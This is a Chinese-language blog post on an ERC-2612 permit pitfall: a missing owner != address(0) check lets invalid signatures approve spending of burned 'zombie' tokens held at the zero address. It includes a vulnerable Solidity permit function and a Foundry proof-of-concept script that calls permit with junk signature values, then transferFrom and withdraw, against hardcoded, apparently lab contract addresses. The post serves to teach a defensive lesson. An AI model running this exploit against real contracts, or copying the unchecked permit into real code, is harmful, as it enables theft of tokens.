{"author":{"address":"0x468FA4c23c94012bf170207210d26E02a8a268bf","user":"https://learnblockchain.cn/people/16222"},"content":{"body":"在 ERC-2612 中，有提到这么一点：\r\n\u003e由于 `ecrecover` 预编译在接收到格式错误的消息时会默默失败，并返回零地址作为签名者，因此必须确保`owner != address(0)`，以避免批准使用属于零地址的“僵尸资金”。\r\n\r\n在 ERC20 合约中，有一个很重要的点：**当我们销毁(`burn`) ERC20 Token 时，实际上是通过向零地址转账的方式来实现销毁代币的**。正常来说，由于零地址没有私钥，在合约预设函数以及权限控制的情况下，这部分资金只能通过协议来处理，其他用户无法利用这部分资金。但是，**如果这个 ERC20 token 实现了 ERC2612，并没有使用 OpenZeppelin 等合约安全库，可能会出现如下的问题**。\r\n让我们来看下面这段代码：\r\n```solidity\r\nfunction permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)\r\n    external\r\n{\r\n    require(block.timestamp \u003c= deadline, \"signature expired\");\r\n    bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));\r\n    bytes32 h = _hashTypedDataV4(structHash);\r\n    address signer = ecrecover(h, v, r, s);\r\n    require(signer == owner, \"invalid signer\");\r\n    allowance[owner][spender] = value;\r\n    emit Approval(owner, spender, value);\r\n}\r\n```\r\n这是一个 ERC20 合约（实现了 ERC-2612），其中的 `permit` 函数，初步来看并没有任何问题，但是回到我们最开始提到的，ERC-2612 中提到的问题：\r\n`ecrecover` 预编译在接收到格式错误的消息时会默默失败，并返回零地址作为签名者，因此必须确保`owner != address(0)`，以避免批准使用属于零地址的“僵尸资金”。\r\n我们先简单里了解一下 `ecrecover`：\r\n`ecrecover` 是 EVM 预编译的（EVM precompile ecrecover）。预编译只是指已编译的智能合约的通用功能，因此以太坊节点可以有效地运行它。从合约的角度来看，这只是一个像操作码一样的指令。\r\n但是存在一些安全问题：\r\n1. `ecrecover` 针对无效签名返回返回 `0` 地址，在使用 `ecrecover` 后，需要添加检测：`owner != 0`，以避免 `approve` 授权使用属于零地址的“僵尸资金”\r\n2.  签名是可塑的（签名拓展性攻击），可以通过限制签名的`s`值的右半段，这样大于`n/2`的`s`值会变成非法值。所以我们可以进行限制，只允许大于或小于`n/2`的`s`值的签名是有效的\r\n3. 如果哈希值不是在合约自身内计算的，攻击者可以构造看起来有效的哈希值和签名\r\n\r\n让我们把刚刚 ERC-2612 中的那句话展开：\r\n\r\n**如果我们构造一个无效的签名，在`·ecrecover`还原签名地址时，他会得到零地址，换个说法，我们能够实现`address(0) =\u003e approve(spender, value)`这样，我们可以利用 `transferFrom` 调用我们原不能使用的“僵尸资金”。**\r\n来看一段 Poc：\r\n```solidity\r\ncontract Attack is Script {\r\n    function run() external {\r\n        vm.startBroadcast();\r\n        Setup setup = Setup(0xA04c620d7Dd01d8F3C428C852640597fc43bfc83);\r\n        Coin coin = Coin(payable(0xDc75492Cda82b67cBff388eD94f6505c104A70c1));\r\n        // setup.register();\r\n        coin.permit(\r\n            address(0),\r\n            0xaBc5E4485e7d718A2d85080A66b20b00e85626c2,\r\n            15 ether,\r\n            block.timestamp,\r\n            32,\r\n            0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9,\r\n            0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9\r\n        );\r\n        coin.transferFrom(address(0), 0xaBc5E4485e7d718A2d85080A66b20b00e85626c2, 15 ether);\r\n        coin.withdraw(15 ether);\r\n        vm.stopBroadcast();\r\n    }\r\n}\r\n```\r\n上面代码中，我们调用`Coin:permit(address(0), attackAccount, value, timestamp, v, r, s)`，其中的 `v, r, s`是我随便弄的一串无任何意义的但满足类型要求的数据，回看 `Coin:permit`函数的逻辑：他并没有检测还原出的owner 满足`owner!= address(0)`，这就导致我们间接的获得了转移所有用户 `burn` 掉的 Token 的权限。\r\n这是十分危险的，不过完全可以避免，使用 OpenZeppelin 等经过审计的库合约可以解决很多这样原本无需担忧的问题。","title":"不标准的 ERC2612：Permit 滥用零地址“僵尸资金”"},"history":null,"timestamp":1724757894,"version":1}